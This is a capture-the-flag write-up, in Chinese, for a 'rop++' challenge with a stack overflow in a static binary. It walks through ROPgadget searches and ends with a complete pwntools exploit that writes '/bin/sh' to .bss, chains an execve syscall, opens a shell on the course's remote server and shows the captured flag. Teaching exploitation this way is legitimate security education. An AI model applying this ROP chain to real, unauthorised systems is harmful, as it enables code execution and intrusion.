rop++

先看題目的程式碼:

```c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main()
{
    char buf[0x10];
    const char *msg = "show me rop\n> ";

    write(1, msg, strlen(msg));
    read(0, buf, 0x200);

    return 0;
}
```

程式碼很短，他只做了一個明顯的buffer overflow。
Makefile中的編譯選項爲:
`gcc -fno-stack-protector -static -o chal rop++.c`
也就是把canary關掉了，然後是static編譯，因此應該有很多rop gadget可以用。

thought

因爲題目沒什麼限制，因此想要使用syscall來取得shell。
要做到這點可以先找找有沒有/bin/sh字串，如果沒有再想辦法放進程式裡。

discovery

在程式中沒有找到/bin/sh字串，因此需要在payload中把/bin/sh寫入。
要寫入可以找使用read syscall來吃資料，但“/bin/sh”加上NUL byte剛好8個byte，
所以也可以找一個mov指令，然後將這個64bit的值寫入。
只要能把字串寫入bss段，就可以在執行的時候讀到字串了。

readelf

使用readelf指令來找bss的address:

```
~/C/資/p/rop++ readelf -S rop++/share/chal | grep ".bss"
 [15] .tbss             NOBITS           00000000004c17d0  000c07d0
 [25] .bss              NOBITS           00000000004c72a0  000c6290
```

find ROP

要做syscall，因此先找rax的gadget

```
~/C/資/p/rop++ ROPgadget --binary rop++/share/chal | grep "pop rax ; ret"
0x0000000000045aef2 : imul eax ; pop rax ; retf 0xfffe
0x0000000000447b27 : pop rax ; ret
0x0000000000045aef4 : pop rax ; retf 0xfffe
0x0000000000472b07 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
```

然後syscall:

```
0x0000000000447a4c : sub edi, dword ptr
0x0000000000401bf4 : syscall
0x0000000000046bf23 : test byte ptr [rax
```

接著execve需要設定rdi, rsi, rdx，因此來找這幾個的gadget:

- rdi

```
~/C/資/p/rop++ ROPgadget --binary rop++/share/chal | grep "pop rdi ; ret"
0x0000000000401e3f : pop rdi ; ret
```

- rsi

```
~/C/資/p/rop++ ROPgadget --binary rop++/share/chal | grep "pop rsi ; ret"
0x0000000000048d597 : adc byte ptr [rax - 0x77], cl ; je 0x48d5c0 ; or al, ch ; pop rsi ; ret
0x0000000000045adec : imul eax ; pop rsi ; retf
0x0000000000048d59a : je 0x48d5c0 ; or al, ch ; pop rsi ; ret
0x0000000000047d59a : jl 0x47d560 ; or al, ch ; pop rsi ; ret
0x0000000000047d59c : or al, ch ; pop rsi ; ret
0x0000000000409e6e : pop rsi ; ret
0x0000000000045adee : pop rsi ; retf
```

- rdx

```
~/C/資/p/rop++ ROPgadget --binary rop++/share/chal | grep "pop rdx ; ret"
0x00000000004507ac : pop rdx ; retf 4
~/C/資/p/rop++ ROPgadget --binary rop++/share/chal | grep "pop rdx"
0x0000000000047ed04 : add byte ptr [rax], al ; mov qword ptr [rbx + 0x18], rax ; pop rax ; pop rdx ; pop rbx ; ret
0x0000000000448222 : dec byte ptr [rbp - 0x75] ; pop rdx ; or byte ptr [rcx - 0xa], al ; ret
0x0000000000047edd2 : mov dword ptr [rbx + 0x10], eax ; pop rax ; pop rdx ; pop rbx ; ret
0x0000000000047ed07 : mov dword ptr [rbx + 0x18], eax ; pop rax ; pop rdx ; pop rbx ; ret
0x0000000000048fd6d : mov dword ptr [rbx], eax ; pop rax ; pop rdx ; pop rbx ; ret
0x0000000000047edd1 : mov qword ptr [rbx + 0x10], rax ; pop rax ; pop rdx ; pop rbx ; ret
0x0000000000047ed06 : mov qword ptr [rbx + 0x18], rax ; pop rax ; pop rdx ; pop rbx ; ret
0x0000000000048fd6c : mov qword ptr [rbx], rax ; pop rax ; pop rdx ; pop rbx ; ret
0x0000000000047ed0a : pop rax ; pop rdx ; pop rbx ; ret
```

`pop rdx ; ret`的找不到，因此放寬條件搜索
用`pop rax ; pop rdx ; pop rbx ; ret`來代替。

接著找mov的指令:

```
0x0000000000477a2c : mov qword ptr [rsi], 0 ; jmp 0x47798e
0x000000000046887e : mov qword ptr [rsi], r8 ; movzx edx, byte ptr [
0x000000000044b5c8 : mov qword ptr [rsi], rax ; jmp 0x44b594
0x000000000047c1ab : mov qword ptr [rsi], rax ; jmp 0x47c060
0x0000000000449fa5 : mov qword ptr [rsi], rax ; ret
0x000000000045364a : mov qword ptr [rsi], rbx ; mov dword ptr [rax],
0x0000000000455fad : mov qword ptr [rsi], rbx ; mov dword ptr [rax],
0x000000000045776d : mov qword ptr [rsi], rbx ; mov dword ptr [rax],
0x0000000000479a4c : mov qword ptr [rsi], rcx ; mov rax, r8 ; ret
0x00000000004786ba : mov qword ptr [rsi], rdi ; jmp 0x477fc5
```

這邊選了`mov qword ptr [rsi], rax ; ret`，因爲rsi跟rax前面都有了。

Solve

```python
import pwn

pwn.context.arch = "amd64"

bss_addr = 0x4c72a0     # .bss address
mov_rsi_rax = 0x449fa5  # mov qword ptr [rsi], rax ; ret
pop_rax = 0x447b27      # pop rax ; ret
pop_rsi = 0x409e6e      # pop rsi ; ret

pop_rdi = 0x401e3f                  # pop rdi ; ret
pop_rax_pop_rdx_pop_rbx = 0x47ed0a  # pop rax ; pop rdx ; pop rbx ; ret
syscall = 0x401bf4                  # syscall

payload = pwn.flat(
    b"A" * 40,

    # copy '/bin/sh' to .bss
    pop_rax, b"/bin/sh\0",  # rax <- '/bin/sh\0'
    pop_rsi, bss_addr,  # rsi <- 0x4c72a0
    mov_rsi_rax,  # [0x4c72a0] <- '/bin/sh\0'

    # execve syscall
    pop_rdi, bss_addr,
```

```
    pop_rsi, 0,
    pop_rax_pop_rdx_pop_rbx, 0x3b, 0, 0,
    syscall,
)

r = pwn.remote("edu-ctf.zoolab.org", 10003)
r.recvuntil(b"show me rop\n> ")

r.sendline(payload)
r.interactive()
```

```
~/C/資/p/rop++ python3 exploit_mov.py
[+] Opening connection to edu-ctf.zoolab.org on port 10003: Done
[*] Switching to interactive mode
$ cat /home/chal/flag
FLAG{chocolate_c378985d629e99a4e86213db0cd5e70d}
```